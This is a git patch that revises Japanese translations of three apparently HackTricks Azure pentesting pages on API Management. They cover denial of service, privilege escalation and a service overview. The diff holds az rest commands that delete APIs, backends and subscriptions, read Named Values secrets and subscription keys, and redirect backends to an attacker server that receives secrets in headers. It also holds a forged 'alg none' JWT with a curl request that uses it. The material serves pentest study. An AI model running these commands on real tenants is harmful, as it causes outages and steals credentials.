From 5f8464cd0bd4affb7ef68ee98e0158bc182c79df Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 26 Dec 2025 18:51:34 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/azure-security/az-services/az-api- --- .../az-api-management-post-exploitation.md | 15 +++--- .../az-api-management-privesc.md | 46 +++++++++---------- .../az-services/az-api-management.md | 36 +++++++-------- 3 files changed, 48 insertions(+), 49 deletions(-) diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md index b912da974..dd32eca5a 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md @@ -3,7 +3,7 @@ {{#include ../../../banners/hacktricks-training.md}} ## `Microsoft.ApiManagement/service/apis/policies/write` or `Microsoft.ApiManagement/service/policies/write` -攻撃者は複数のベクターを利用してdenial of serviceを引き起こすことができます。正当なトラフィックを遮断するために、攻撃者は極めて低い値のレート制限やクォータポリシーを追加し、通常のアクセスを事実上不可能にします: +攻撃者は複数のベクターを使用して denial of service を引き起こすことができます。正当なトラフィックを遮断するために、攻撃者は非常に低い値の rate-limiting と quota ポリシーを追加し、通常のアクセスを事実上不可能にします: ```bash az rest --method PUT \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis//policies/policy?api-version=2024-05-01" \ @@ -15,7 +15,7 @@ az rest --method PUT \ } }' ``` -特定の正当なクライアントIPをブロックするために、攻撃者は選択したアドレスからのリクエストを拒否するIPフィルタリングポリシーを追加できます: +特定の正当なクライアントIPをブロックするために、攻撃者は選択したアドレスからのリクエストを拒否するIPフィルタリングポリシーを追加できます: ```bash az rest --method PUT \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis//policies/policy?api-version=2024-05-01" \ @@ -28,7 +28,7 @@ az rest --method PUT \ }' ``` ## `Microsoft.ApiManagement/service/backends/write` or `Microsoft.ApiManagement/service/backends/delete` -リクエストを失敗させるために、攻撃者はバックエンド設定を変更してその URL を無効または到達不能なアドレスに変更できます: +リクエストを失敗させるため、攻撃者はバックエンド構成を変更し、その URL を無効または到達不能なアドレスに変更できます: ```bash az rest --method PUT \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" \ @@ -40,21 +40,21 @@ az rest --method PUT \ } }' ``` -または backends を削除する: +またはバックエンドを削除する: ```bash az rest --method DELETE \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" \ --headers "If-Match=*" ``` ## `Microsoft.ApiManagement/service/apis/delete` -重要な APIs を利用不能にするため、攻撃者は API Management service からそれらを直接削除できます: +重要なAPIを利用不能にするため、攻撃者はAPI Management serviceから直接それらを削除できます: ```bash az rest --method DELETE \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis/?api-version=2024-05-01" \ --headers "If-Match=*" ``` ## `Microsoft.ApiManagement/service/write` or `Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action` -インターネットからのアクセスを遮断するために、攻撃者は API Management service のパブリック ネットワークアクセスを無効化できます: +インターネットからのアクセスを遮断するため、攻撃者は API Management service の public network access を無効化できます: ```bash az rest --method PATCH \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service/?api-version=2024-05-01" \ @@ -66,8 +66,7 @@ az rest --method PATCH \ }' ``` ## `Microsoft.ApiManagement/service/subscriptions/delete` - -正当なユーザーのアクセスを遮断するため、攻撃者は API Management subscriptions を削除できます: +正当なユーザーのアクセスをブロックするために、攻撃者は API Management subscriptions を削除できます: ```bash az rest --method DELETE \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//subscriptions/?api-version=2024-05-01" \ diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md index beedb3cb0..c48e06901 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md @@ -4,31 +4,31 @@ ## `Microsoft.ApiManagement/service/namedValues/read` & `Microsoft.ApiManagement/service/namedValues/listValue/action` -この攻撃は、Azure API Management Named Values に保存されている機密 secrets にアクセスすることを目的としています。直接 secret values を取得するか、権限を悪用して managed identities を介して Key Vault–backed secrets を取得することで行われます。 +この攻撃は、Azure API Management Named Values に保存された機密 secrets にアクセスすることで、secret values を直接取得するか、managed identities を悪用して Key Vault–backed secrets を取得する権限を濫用する、というものです。 ```bash az apim nv show-secret --resource-group --service-name --named-value-id ``` ## `Microsoft.ApiManagement/service/subscriptions/read` & `Microsoft.ApiManagement/service/subscriptions/listSecrets/action` -各サブスクリプションについて、攻撃者は POST メソッドで listSecrets エンドポイントを使用してサブスクリプションキーを取得できます: +各サブスクリプションについて、攻撃者は POST メソッドで listSecrets エンドポイントを使用してサブスクリプションキーを取得できます: ```bash az rest --method POST \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//subscriptions//listSecrets?api-version=2024-05-01" ``` -レスポンスにはサブスクリプションの primary key (primaryKey) と secondary key (secondaryKey) が含まれます。これらのキーを使うことで、攻撃者は API Management Gateway を通じて公開された APIs に対して認証してアクセスできます: +レスポンスには subscription primary key (primaryKey) と secondary key (secondaryKey) が含まれています。これらのキーがあれば、攻撃者は認証して API Management Gateway を通じて公開されている APIs にアクセスできます: ```bash curl -H "Ocp-Apim-Subscription-Key: " \ https://.azure-api.net/ ``` -攻撃者は、サブスクリプションに関連付けられたすべてのAPIと製品にアクセスできます。サブスクリプションが機密性の高い製品やAPIにアクセスできる場合、攻撃者は機密情報を取得したり、不正な操作を行ったりする可能性があります。 +攻撃者はサブスクリプションに関連付けられたすべての API と製品にアクセスできます。サブスクリプションが機密性の高い製品や API にアクセスできる場合、攻撃者は機密情報を取得したり、不正な操作を実行したりする可能性があります。 ## `Microsoft.ApiManagement/service/policies/write` or `Microsoft.ApiManagement/service/apis/policies/write` -攻撃者はまず現在のAPIポリシーを取得します: +攻撃者はまず現在の API ポリシーを取得します: ```bash az rest --method GET \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis//policies/?api-version=2024-05-01&format=rawxml" ``` -攻撃者は目的に応じてポリシーを複数の方法で変更できます。例えば、認証を無効化するには、ポリシーが JWT token validation を含んでいる場合、その部分を削除するかコメントアウトできます: +攻撃者は目的に応じてポリシーを様々な方法で変更できます。例えば、認証を無効にするためにポリシーに JWT token validation が含まれている場合、その部分を削除するかコメントアウトできます: ```xml @@ -49,7 +49,7 @@ az rest --method GET \ ``` -rate limiting controls を解除して denial-of-service 攻撃を可能にするために、攻撃者は quota および rate-limit policies を削除またはコメントアウトできます: +レート制限のコントロールを解除してdenial-of-service attacksを許可するために、攻撃者はquotaやrate-limitポリシーを削除するかコメントアウトできます: ```xml @@ -61,7 +61,7 @@ rate limiting controls を解除して denial-of-service 攻撃を可能にす ... ``` -バックエンドのルートを変更して、トラフィックを攻撃者が制御するサーバーにリダイレクトするには: +バックエンドのルートを変更して、トラフィックを attacker-controlled server にリダイレクトするには: ```xml ... @@ -72,7 +72,7 @@ rate limiting controls を解除して denial-of-service 攻撃を可能にす ... ``` -攻撃者は修正したポリシーを適用します。リクエストボディは、XML形式のポリシーを含むJSONオブジェクトでなければなりません: +攻撃者は修正したポリシーを適用します。リクエストボディはポリシーをXML形式で含むJSONオブジェクトでなければなりません: ```bash az rest --method PUT \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis//policies/policy?api-version=2024-05-01" \ @@ -84,33 +84,33 @@ az rest --method PUT \ } }' ``` -## JWT 検証の誤設定 +## JWT 検証の誤構成 -攻撃者は、APIがJWTトークンの検証を使用しており、ポリシーが誤設定されていることを知る必要があります。誤って構成されたJWT検証ポリシーは `require-signed-tokens="false"` や `require-expiration-time="false"` を持っていることがあり、これによりサービスが署名されていないトークンや期限が設定されていないトークンを受け入れてしまいます。 +攻撃者は、API が JWT トークン検証を使用しており、ポリシーが誤構成されていることを把握している必要があります。誤って構成された JWT 検証ポリシーは `require-signed-tokens="false"` や `require-expiration-time="false"` のようになっており、署名されていないトークンや期限が設定されていない(無期限の)トークンをサービスが受け入れてしまう可能性があります。 -攻撃者は none アルゴリズム(署名なし)を使用して悪意のあるJWTトークンを作成します: +攻撃者は none アルゴリズム(署名なし)を使用した悪意のある JWT トークンを作成します: ``` # Header: {"alg":"none"} # Payload: {"sub":"user"} eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0. ``` -攻撃者は悪意のあるトークンを使用してAPIにリクエストを送信します: +攻撃者は悪意のあるトークンを使用して API にリクエストを送信します: ```bash curl -X GET \ -H "Authorization: Bearer eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0." \ https://.azure-api.net/path ``` -ポリシーが `require-signed-tokens="false"` に誤設定されていると、サービスは unsigned token を受け入れます。attacker は `require-expiration-time="false"` の場合、expiration claim を含まない token を作成することもできます。 +ポリシーが `require-signed-tokens="false"` に誤設定されている場合、サービスは署名されていないトークンを受け入れます。攻撃者は `require-expiration-time="false"` の場合、有効期限クレームを持たないトークンを作成することもできます。 ## `Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action` -attacker はまずサービスの現在のネットワーク構成を確認します: +攻撃者はまずサービスの現在のネットワーク構成を確認します: ```bash az rest --method GET \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service/?api-version=2024-05-01" ``` -攻撃者はJSONレスポンスを確認して、`publicNetworkAccess` と `virtualNetworkType` の値を検証する。もし `publicNetworkAccess` が false に設定されているか、`virtualNetworkType` が Internal に設定されている場合、サービスはプライベートアクセスに設定されている。 +攻撃者はJSONレスポンスを確認し、`publicNetworkAccess` と `virtualNetworkType` の値を検証する。`publicNetworkAccess` が false に設定されているか、`virtualNetworkType` が Internal に設定されている場合、サービスはプライベートアクセスに構成されている。 -サービスをインターネットに公開するには、攻撃者は両方の設定を変更する必要がある。サービスが内部モードで稼働している場合(`virtualNetworkType: "Internal"`)、攻撃者はそれを None または External に変更し、`publicNetworkAccess` を有効にする。これは Azure Management API を使用して行える: +サービスをインターネットに公開するために、攻撃者は両方の設定を変更する必要がある。サービスが internal モードで実行されている場合 (`virtualNetworkType: "Internal"`)、攻撃者はこれを None または External に変更し、`publicNetworkAccess` を有効にする。これは Azure Management API を使用して実行できる: ```bash az rest --method PATCH \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service/?api-version=2024-05-01" \ @@ -122,20 +122,20 @@ az rest --method PATCH \ } }' ``` -一旦 `virtualNetworkType` が `None` または `External` に設定され、`publicNetworkAccess` が有効になると、サービスとそのすべての API はインターネットからアクセス可能になり、以前プライベートネットワークやプライベートエンドポイントの背後で保護されていた場合でも同様です。 +一度`virtualNetworkType`が`None`または`External`に設定され、`publicNetworkAccess`が有効になると、サービスとそのすべてのAPIはインターネットからアクセス可能になります。たとえ以前はプライベートネットワークやプライベートエンドポイントの背後で保護されていたとしても。 ## `Microsoft.ApiManagement/service/backends/write` -攻撃者はまず既存の backends を列挙して、どれを変更するかを特定します: +攻撃者はまず既存のバックエンドを列挙して、どれを変更するかを特定します: ```bash az rest --method GET \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends?api-version=2024-05-01" ``` -攻撃者は変更したいバックエンドの現在の構成を取得する: +攻撃者は変更したいバックエンドの現在の構成を取得する: ```bash az rest --method GET \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" ``` -攻撃者はバックエンドの URL を自分が管理するサーバーを指すように変更します。まず、前回のレスポンスから ETag を取得し、バックエンドを更新します: +攻撃者はbackend URLを自分の管理下にあるサーバーを指すように変更します。まず前のレスポンスからETagを取得し、その後backendを更新します: ```bash az rest --method PUT \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" \ @@ -148,7 +148,7 @@ az rest --method PUT \ } }' ``` -別の方法として、攻撃者はbackend headersを構成して、秘密を含むNamed Valuesをexfiltrateできます。これはbackend credentials configurationを通じて行います: +代わりに、攻撃者は backend headers を構成して、機密を含む Named Values を exfiltrate できます。これは backend credentials configuration を通じて行われます: ```bash az rest --method PUT \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" \ @@ -165,6 +165,6 @@ az rest --method PUT \ } }' ``` -この構成では、Named Valuesはすべてのリクエストでattacker-controlled backendにヘッダーとして送信され、sensitive secretsのexfiltrationを可能にします。 +この構成では、Named Values が攻撃者制御のバックエンドへのすべてのリクエストのヘッダーとして送信され、機密シークレットの流出を可能にします。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-api-management.md b/src/pentesting-cloud/azure-security/az-services/az-api-management.md index 5b9e69fcb..b80e8c144 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-api-management.md +++ b/src/pentesting-cloud/azure-security/az-services/az-api-management.md @@ -2,43 +2,43 @@ {{#include ../../../banners/hacktricks-training.md}} -## 基本情報 +## Basic Information -Azure API Management (APIM) は、**API を公開、保護、変換、管理、監視するための統合プラットフォーム** を提供するフルマネージドサービスです。組織が API 戦略を一元化し、すべてのサービスで一貫したガバナンス、パフォーマンス、セキュリティを確保できるようにします。バックエンドサービスと API 利用者の間の抽象化レイヤーとして機能することで、APIM は統合を簡素化し、保守性を向上させると同時に、運用およびセキュリティに必要な機能を提供します。 +Azure API Management (APIM) は、API の公開、保護、変換、管理、監視のための **統合プラットフォームを提供するフルマネージドサービス** です。組織が **API 戦略を一元化** し、すべてのサービスで一貫したガバナンス、パフォーマンス、セキュリティを確保できるようにします。APIM はバックエンドサービスと API 消費者の間に抽象化レイヤーとして機能することで、統合を簡素化し、保守性を向上させながら、重要な運用およびセキュリティ機能を提供します。 -## コアコンセプト +## Core Concepts -**APIゲートウェイ** は、すべての API トラフィックの単一のエントリポイントとして機能し、リクエストのルーティング、レート制限の適用、レスポンスのキャッシュ、認証と認可の管理などの機能を処理します。このゲートウェイは Azure によって完全にホストおよび管理されており、高可用性とスケーラビリティが保証されます。 +**The API Gateway** はすべての API トラフィックの単一エントリポイントとして機能し、バックエンドサービスへのリクエストのルーティング、レート制限の適用、レスポンスのキャッシュ、認証および認可の管理などの機能を処理します。このゲートウェイは Azure によってフルホストおよび管理され、高可用性とスケーラビリティを保証します。 -**開発者ポータル** は、API 利用者が利用可能な API を発見し、ドキュメントを読み、エンドポイントをテストできるセルフサービス環境を提供します。インタラクティブなツールやサブスクリプション情報へのアクセスを通じてオンボーディングを効率化します。 +**The Developer Portal** は API 消費者が利用可能な API を発見し、ドキュメントを読み、エンドポイントをテストできるセルフサービス環境を提供します。インタラクティブなツールやサブスクリプション情報へのアクセスを提供することで、オンボーディングを効率化します。 -**管理ポータル(管理プレーン)** は、管理者が APIM サービスを構成および維持するために使用します。ここから API や操作の定義、アクセス制御の構成、ポリシーの適用、ユーザー管理、API の製品への整理などが行えます。このポータルは管理を集中化し、一貫した API ガバナンスを確保します。 +**The Management Portal (Management Plane)** は管理者が APIM サービスを構成および維持するために使用します。ここからユーザーは API やオペレーションを定義し、アクセス制御を構成し、ポリシーを適用し、ユーザーを管理し、API を製品(products)に整理できます。このポータルは管理を一元化し、一貫した API ガバナンスを確保します。 -## 認証と認可 +## Authentication and Authorization -Azure API Management は API アクセスを保護するために複数の **認証メカニズム** をサポートします。これには **subscription keys**、**OAuth 2.0 tokens**、および **client certificates** が含まれます。APIM は **Microsoft Entra ID** とネイティブに統合されており、エンタープライズレベルのアイデンティティ管理と、API およびバックエンドサービスへの安全なアクセスを可能にします。 +Azure API Management は API アクセスを保護するためのいくつかの **authentication mechanisms** をサポートします。これには **subscription keys**、**OAuth 2.0 tokens**、および **client certificates** が含まれます。APIM は **Microsoft Entra ID** とネイティブに統合されており、**エンタープライズレベルのアイデンティティ管理** と API およびバックエンドサービスへの **安全なアクセス** を可能にします。 -## ポリシー +## Policies -APIM のポリシーにより、サービス、API、操作、または製品レベルなど、さまざまな粒度での **リクエストおよびレスポンス処理** を管理者がカスタマイズできます。ポリシーを通して、**JWT トークン検証**、**XML や JSON ペイロードの変換**、**レート制限の適用**、**IP アドレスによる呼び出し制限**、および **managed identities を使用したバックエンドサービスへの認証** などが実現可能です。ポリシーは非常に柔軟であり、APIM プラットフォームの **コアとなる強み** の一つで、バックエンドのコードを変更することなくランタイム挙動を細かく制御できます。 +APIM のポリシーは、管理者が **request and response processing** をサービス、API、operation、または product レベルなどさまざまな粒度でカスタマイズできるようにします。ポリシーを通じて、**JWT token validation** を強制したり、XML や JSON ペイロードを変換したり、レート制限を適用したり、IP アドレスによる呼び出しを制限したり、**managed identities** を使用してバックエンドサービスに対して認証したりすることが可能です。ポリシーは **非常に柔軟** であり、API Management プラットフォームの **コアな強み** の一つで、バックエンドコードを変更することなく **ランタイム動作を細かく制御** できます。 ## Named Values -このサービスは **Named Values** と呼ばれる仕組みを提供しており、**シークレット**、**API キー**、およびポリシーで必要となるその他の **設定情報** を格納できます。 +このサービスは **Named Values** と呼ばれる仕組みを提供しており、**secrets**、**API keys**、またはポリシーで必要とされるその他の値などの **構成情報** を格納できます。 -これらの値は APIM 内に直接保存することも、**Azure Key Vault** から安全に参照することも可能です。Named Values は設定データの安全で集中化された管理を促進し、ハードコーディングの代わりに **再利用可能な参照** を用いることでポリシー作成を簡素化します。 +これらの値は APIM 内部に直接格納することも、**Azure Key Vault** から安全に参照することもできます。Named Values は構成データの **安全で集中化された管理** を促進し、ハードコーディングされた値の代わりに **再利用可能な参照** を許可することでポリシー作成を簡素化します。 -## ネットワーキングとセキュリティの統合 +## Networking and Security Integration -Azure API Management は **Virtual Network (VNet)** 環境とシームレスに統合し、バックエンドシステムへの **プライベートで安全な接続** を可能にします。 +Azure API Management は **virtual network environments** とシームレスに統合し、バックエンドシステムへの **プライベートで安全な接続** を可能にします。 -VNet 内にデプロイされた場合、APIM は内部サービスへ公開せずにアクセスできます。また、**相互 TLS 認証 (mutual TLS authentication)** をサポートするための **カスタム証明書** の構成も可能で、強固なアイデンティティ検証が必要なシナリオでのセキュリティを向上させます。 +**Virtual Network (VNet)** 内にデプロイされると、APIM は内部サービスに対してそれらを公開することなくアクセスできます。サービスはまた、バックエンドサービスとの **mutual TLS authentication** をサポートするための **custom certificates** の構成を許可しており、**強力なアイデンティティ検証** が必要なシナリオでセキュリティを向上させます。 -これらの **ネットワーキング機能** により、APIM はクラウドネイティブなアーキテクチャだけでなく **ハイブリッドアーキテクチャ** にも適しています。 +これらの **networking features** により、APIM は **cloud-native** および **hybrid architectures** の両方に適しています。 -### 列挙 +### Enumerate -API 管理サービスを列挙するには: +API Management サービスを列挙するには: ```bash # Lists all Named Values configured in the Azure API Management instance az apim nv list --resource-group --service-name